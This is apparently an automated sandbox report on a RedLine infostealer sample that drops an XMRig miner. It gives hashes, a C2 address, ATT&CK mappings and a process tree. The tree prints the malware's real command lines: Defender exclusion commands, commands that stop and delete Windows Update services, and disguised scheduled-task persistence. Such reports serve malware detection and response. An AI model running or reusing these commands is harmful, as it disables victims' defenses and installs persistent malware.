redline | 298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a

Analysis

max time kernel
299s
max time network
297s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
01/11/2022, 08:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe
Size

2.5MB
MD5

e8c93855d5b68012ea54fe097f37795a
SHA1

e28379253878db94935cce1bd40e1aa622cdb818
SHA256

298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a
SHA512

e73aafdd818d89da6fbd5275cd2812992504588260caa40fe0313238eb4535b70311e3dd631db33d8abdac575d20010131dabc52501edbb0b43bfa5ff50e70f2
SSDEEP

24576:F5UtB8YsPmYAYH3tlHCqMxJdIKH0X0ebqcyRo4N8fVxL7Wl3RuQ55313M:FyBrsXWAqpo4N8fVxul3O

Score

10^/10

redline xmrig evasion infostealer miner spyware upx

Malware Config

Extracted

Family

redline

185.215.113.83:60722

Attributes

auth_value
e4b40909045c9c3ec576d86b8bb8fad8

Signatures

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 4 IoCs

resource	yara_rule
behavioral1/memory/195104-56-0x0000000000090000-0x00000000000B0000-memory.dmp	family_redline
behavioral1/memory/195104-61-0x00000000000AB51E-mapping.dmp	family_redline
behavioral1/memory/195104-62-0x0000000000090000-0x00000000000B0000-memory.dmp	family_redline
behavioral1/memory/195104-63-0x0000000000090000-0x00000000000B0000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

description	pid	Process	procid_target
PID 2184 created 420	2184	powershell.EXE	21
PID 2196 created 420	2196	powershell.EXE	21

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 1 IoCs

miner

resource	yara_rule
behavioral1/memory/3476-264-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Downloads MZ/PE file

Executes dropped EXE 5 IoCs

pid	Process
195392	brave.exe
195420	chrome.exe
195448	ofg.exe
2160	updater.exe
2712	svcupdater.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 10 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00060000000149b7-70.dat	upx
behavioral1/files/0x00060000000149b7-68.dat	upx
behavioral1/memory/195420-82-0x00000000011A0000-0x0000000001A3E000-memory.dmp	upx
behavioral1/files/0x00060000000149b7-88.dat	upx
behavioral1/files/0x00060000000149b7-86.dat	upx
behavioral1/files/0x00060000000149b7-89.dat	upx
behavioral1/files/0x00060000000149b7-87.dat	upx
behavioral1/files/0x00060000000149b7-91.dat	upx
behavioral1/memory/3476-260-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/3476-264-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Loads dropped DLL 10 IoCs

pid	Process
195104	AppLaunch.exe
195104	AppLaunch.exe
195104	AppLaunch.exe
195104	AppLaunch.exe
195132	WerFault.exe
195132	WerFault.exe
195132	WerFault.exe
195132	WerFault.exe
195132	WerFault.exe
2116	taskeng.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 1048 set thread context of 195104	1048	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	28
PID 195392 set thread context of 924	195392	brave.exe	66
PID 2184 set thread context of 2332	2184	powershell.EXE	76
PID 2196 set thread context of 2356	2196	powershell.EXE	77
PID 2160 set thread context of 3220	2160	updater.exe	94
PID 2160 set thread context of 3476	2160	updater.exe	101

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	brave.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File created	C:\Windows\GoogleUpdate.exe	chrome.exe
File created	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File created	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	dialer.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1328	sc.exe
1332	sc.exe
3020	sc.exe
3132	sc.exe
3248	sc.exe
804	sc.exe
1724	sc.exe
1524	sc.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
195132	195420	WerFault.exe	31

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	wmiprvse.exe
Key security queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier	wmiprvse.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	wmiprvse.exe

Creates scheduled task(s) 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
195488	SCHTASKS.exe
195564	SCHTASKS.exe
1768	schtasks.exe
2044	schtasks.exe
3464	schtasks.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 9039dab1d7edd801	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
195104	AppLaunch.exe
195472	powershell.exe
1136	powershell.exe
1796	powershell.exe
2184	powershell.EXE
2196	powershell.EXE
2184	powershell.EXE
2196	powershell.EXE
2332	dllhost.exe
2332	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2356	dllhost.exe
2356	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe
2332	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
195132	WerFault.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	195104	AppLaunch.exe
Token: SeDebugPrivilege	195472	powershell.exe
Token: SeDebugPrivilege	195448	ofg.exe
Token: SeDebugPrivilege	1136	powershell.exe
Token: SeShutdownPrivilege	1880	powercfg.exe
Token: SeShutdownPrivilege	2000	powercfg.exe
Token: SeDebugPrivilege	1796	powershell.exe
Token: SeShutdownPrivilege	1792	powercfg.exe
Token: SeShutdownPrivilege	1120	powercfg.exe
Token: SeDebugPrivilege	2184	powershell.EXE
Token: SeDebugPrivilege	2196	powershell.EXE
Token: SeDebugPrivilege	2184	powershell.EXE
Token: SeDebugPrivilege	2196	powershell.EXE
Token: SeDebugPrivilege	2332	dllhost.exe
Token: SeDebugPrivilege	2356	dllhost.exe
Token: SeDebugPrivilege	2712	svcupdater.exe
Token: SeDebugPrivilege	2596	powershell.exe
Token: SeShutdownPrivilege	3064	powercfg.exe
Token: SeShutdownPrivilege	3108	powercfg.exe
Token: SeShutdownPrivilege	3156	powercfg.exe
Token: SeShutdownPrivilege	3208	powercfg.exe
Token: SeDebugPrivilege	3040	powershell.exe
Token: SeDebugPrivilege	2160	updater.exe
Token: SeAssignPrimaryTokenPrivilege	3420	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3420	WMIC.exe
Token: SeSecurityPrivilege	3420	WMIC.exe
Token: SeTakeOwnershipPrivilege	3420	WMIC.exe
Token: SeLoadDriverPrivilege	3420	WMIC.exe
Token: SeSystemtimePrivilege	3420	WMIC.exe
Token: SeBackupPrivilege	3420	WMIC.exe
Token: SeRestorePrivilege	3420	WMIC.exe
Token: SeShutdownPrivilege	3420	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3420	WMIC.exe
Token: SeUndockPrivilege	3420	WMIC.exe
Token: SeManageVolumePrivilege	3420	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	3420	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3420	WMIC.exe
Token: SeSecurityPrivilege	3420	WMIC.exe
Token: SeTakeOwnershipPrivilege	3420	WMIC.exe
Token: SeLoadDriverPrivilege	3420	WMIC.exe
Token: SeSystemtimePrivilege	3420	WMIC.exe
Token: SeBackupPrivilege	3420	WMIC.exe
Token: SeRestorePrivilege	3420	WMIC.exe
Token: SeShutdownPrivilege	3420	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3420	WMIC.exe
Token: SeUndockPrivilege	3420	WMIC.exe
Token: SeManageVolumePrivilege	3420	WMIC.exe
Token: SeLockMemoryPrivilege	3476	dialer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1048 wrote to memory of 195104	1048	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	28
PID 1048 wrote to memory of 195104	1048	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	28
PID 1048 wrote to memory of 195104	1048	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	28
PID 1048 wrote to memory of 195104	1048	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	28
PID 1048 wrote to memory of 195104	1048	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	28
PID 1048 wrote to memory of 195104	1048	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	28
PID 1048 wrote to memory of 195104	1048	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	28
PID 1048 wrote to memory of 195104	1048	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	28
PID 1048 wrote to memory of 195104	1048	298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe	28
PID 195104 wrote to memory of 195392	195104	AppLaunch.exe	30
PID 195104 wrote to memory of 195392	195104	AppLaunch.exe	30
PID 195104 wrote to memory of 195392	195104	AppLaunch.exe	30
PID 195104 wrote to memory of 195392	195104	AppLaunch.exe	30
PID 195104 wrote to memory of 195420	195104	AppLaunch.exe	31
PID 195104 wrote to memory of 195420	195104	AppLaunch.exe	31
PID 195104 wrote to memory of 195420	195104	AppLaunch.exe	31
PID 195104 wrote to memory of 195420	195104	AppLaunch.exe	31
PID 195104 wrote to memory of 195420	195104	AppLaunch.exe	31
PID 195104 wrote to memory of 195420	195104	AppLaunch.exe	31
PID 195104 wrote to memory of 195420	195104	AppLaunch.exe	31
PID 195104 wrote to memory of 195448	195104	AppLaunch.exe	36
PID 195104 wrote to memory of 195448	195104	AppLaunch.exe	36
PID 195104 wrote to memory of 195448	195104	AppLaunch.exe	36
PID 195104 wrote to memory of 195448	195104	AppLaunch.exe	36
PID 195420 wrote to memory of 195472	195420	chrome.exe	35
PID 195420 wrote to memory of 195472	195420	chrome.exe	35
PID 195420 wrote to memory of 195472	195420	chrome.exe	35
PID 195420 wrote to memory of 195472	195420	chrome.exe	35
PID 195420 wrote to memory of 195472	195420	chrome.exe	35
PID 195420 wrote to memory of 195472	195420	chrome.exe	35
PID 195420 wrote to memory of 195472	195420	chrome.exe	35
PID 195420 wrote to memory of 195488	195420	chrome.exe	33
PID 195420 wrote to memory of 195488	195420	chrome.exe	33
PID 195420 wrote to memory of 195488	195420	chrome.exe	33
PID 195420 wrote to memory of 195488	195420	chrome.exe	33
PID 195420 wrote to memory of 195488	195420	chrome.exe	33
PID 195420 wrote to memory of 195488	195420	chrome.exe	33
PID 195420 wrote to memory of 195488	195420	chrome.exe	33
PID 195420 wrote to memory of 195564	195420	chrome.exe	37
PID 195420 wrote to memory of 195564	195420	chrome.exe	37
PID 195420 wrote to memory of 195564	195420	chrome.exe	37
PID 195420 wrote to memory of 195564	195420	chrome.exe	37
PID 195420 wrote to memory of 195564	195420	chrome.exe	37
PID 195420 wrote to memory of 195564	195420	chrome.exe	37
PID 195420 wrote to memory of 195564	195420	chrome.exe	37
PID 195420 wrote to memory of 195132	195420	chrome.exe	39
PID 195420 wrote to memory of 195132	195420	chrome.exe	39
PID 195420 wrote to memory of 195132	195420	chrome.exe	39
PID 195420 wrote to memory of 195132	195420	chrome.exe	39
PID 195420 wrote to memory of 195132	195420	chrome.exe	39
PID 195420 wrote to memory of 195132	195420	chrome.exe	39
PID 195420 wrote to memory of 195132	195420	chrome.exe	39
PID 195448 wrote to memory of 1296	195448	ofg.exe	40
PID 195448 wrote to memory of 1296	195448	ofg.exe	40
PID 195448 wrote to memory of 1296	195448	ofg.exe	40
PID 1296 wrote to memory of 1768	1296	cmd.exe	42
PID 1296 wrote to memory of 1768	1296	cmd.exe	42
PID 1296 wrote to memory of 1768	1296	cmd.exe	42
PID 195392 wrote to memory of 1136	195392	brave.exe	44
PID 195392 wrote to memory of 1136	195392	brave.exe	44
PID 195392 wrote to memory of 1136	195392	brave.exe	44
PID 195392 wrote to memory of 1844	195392	brave.exe	55
PID 195392 wrote to memory of 1844	195392	brave.exe	55
PID 195392 wrote to memory of 1844	195392	brave.exe	55

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:480

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:464
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  PID:748
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:664
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:584
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
    3⤵
    - Checks processor information in registry
    PID:3588

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:488

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:420
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{1e0e4d2d-6857-459a-a80f-6778d44d96b1}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2332
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{f76cb880-857d-49b2-983c-cb9db69c6ec3}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2356

C:\Users\Admin\AppData\Local\Temp\298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe
"C:\Users\Admin\AppData\Local\Temp\298276392e498db99e22f23813998e1d90b1e1b8ede7beef3f6a22cd6ec8840a.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1048
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:195104
- - C:\Users\Admin\AppData\Local\Microsoft\brave.exe
    "C:\Users\Admin\AppData\Local\Microsoft\brave.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:195392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1136
  - - C:\Windows\system32\cmd.exe
      cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      PID:1588
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1880
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2000
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1792
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1796
    - - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
        5⤵
        Creates scheduled task(s)
        
        PID:2044
  - - C:\Windows\system32\cmd.exe
      cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:1844
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:1328
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:1332
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
        5⤵
        
        PID:1272
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
        5⤵
        Modifies security service
        
        PID:1532
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        5⤵
        
        PID:760
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
        5⤵
        
        PID:1064
    - - C:\Windows\system32\reg.exe
        
        reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
        5⤵
        
        PID:324
  - - C:\Windows\system32\dialer.exe
      C:\Windows\system32\dialer.exe
      4⤵
      Drops file in Windows directory
      PID:924
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell <#wajvhwink#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
      4⤵
      PID:1692
    - - C:\Windows\system32\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
        5⤵
        
        PID:2104
- - C:\Users\Admin\AppData\Local\Microsoft\chrome.exe
    "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - Suspicious use of WriteProcessMemory
    PID:195420
  - - C:\Windows\SysWOW64\SCHTASKS.exe
      SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:195488
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:195472
  - - C:\Windows\SysWOW64\SCHTASKS.exe
      SCHTASKS /Create /TR "C:\Users\Admin\AppData\Local\Microsoft\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
      4⤵
      Creates scheduled task(s)
      PID:195564
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 195420 -s 200
      4⤵
      Loads dropped DLL
      Program crash
      Suspicious behavior: GetForegroundWindowSpam
      PID:195132
- - C:\Users\Admin\AppData\Local\Microsoft\ofg.exe
    "C:\Users\Admin\AppData\Local\Microsoft\ofg.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:195448
  - - C:\Windows\system32\cmd.exe
      "cmd.exe" /C schtasks /create /tn \2h4dfns5mt /tr "C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1296
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn \2h4dfns5mt /tr "C:\Users\Admin\AppData\Roaming\2h4dfns5mt\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
        5⤵
        Creates scheduled task(s)
        
        PID:1768

C:\Windows\system32\sc.exe
sc stop UsoSvc
1⤵
- Launches sc.exe
PID:804

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
1⤵
- Launches sc.exe
PID:1724

C:\Windows\system32\sc.exe
sc stop wuauserv
1⤵
- Launches sc.exe
PID:1524

C:\Windows\system32\taskeng.exe
taskeng.exe {AAF700B6-64D7-4FA9-9EE7-C0CE3EB8C1D9} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
PID:2116
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious use of AdjustPrivilegeToken
  PID:2160
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    3⤵
    - Drops file in System32 directory
    - Suspicious use of AdjustPrivilegeToken
    PID:2596
- - C:\Windows\system32\cmd.exe
    cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:2948
  - - C:\Windows\system32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:3020
  - - C:\Windows\system32\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:3132
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:3248
- - C:\Windows\system32\cmd.exe
    cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    3⤵
    PID:2984
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3064
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3108
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-ac 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3156
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-dc 0
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3208
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
